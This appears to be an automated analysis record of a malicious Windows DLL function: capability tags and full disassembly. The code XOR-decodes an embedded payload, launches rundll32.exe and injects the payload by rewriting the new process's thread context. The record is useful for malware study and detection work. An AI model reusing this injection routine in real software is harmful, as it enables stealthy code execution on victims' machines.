Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Resume thread
Terminate process

Disassembly:
mov r11, rsp
sub rsp, 0x5c8
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
cmp edx, 1
jne 0x1800012cb
movdqa xmm2, xmmword [0x1800031f0]
mov qword [r11 + 8], rbx
lea rbx, [0x180005040]
mov qword [r11 + 0x10], rsi
xor esi, esi
mov eax, esi
mov qword [r11 - 8], rdi
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rax + rbx], xmm0
movdqu xmm0, xmmword [rax + rbx + 0x10]
pxor xmm0, xmm2
movdqu xmmword [rax + rbx + 0x10], xmm0
movdqu xmm0, xmmword [rax + rbx + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax + rbx + 0x20], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax + rbx + 0x30], xmm0
add rax, 0x40
cmp rax, 0x340
jb 0x180001050
cmp rax, 0x37e
jae 0x1800010bf
nop word [rax + rax]
xor byte [rax + rbx], 0xaa
inc rax
cmp rax, 0x37e
jb 0x1800010b0
xor ecx, ecx
mov edx, 0x37e
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov rcx, rax
mov edx, 6
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1800010e1
movups xmm0, xmmword [rbx]
xor r9d, r9d
lea rdx, str.rundll32.exe
xor r8d, r8d
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rbx + 0x70]
mov qword [rcx + 0x70], rax
xorps xmm0, xmm0
mov eax, dword [rbx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rbx + 0x7c]
mov word [rcx + 0x7c], ax
xor eax, eax
mov dword [rsp + 0xd4], eax
xor ecx, ecx
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], 0x44
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800012a2
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0x110], 0x10003
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x37e
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x37e
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov r8, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x1d8], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x5c0]
mov rsi, qword [rsp + 0x5d8]
mov rbx, qword [rsp + 0x5d0]
mov eax, 1
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.180001310
add rsp, 0x5c8
ret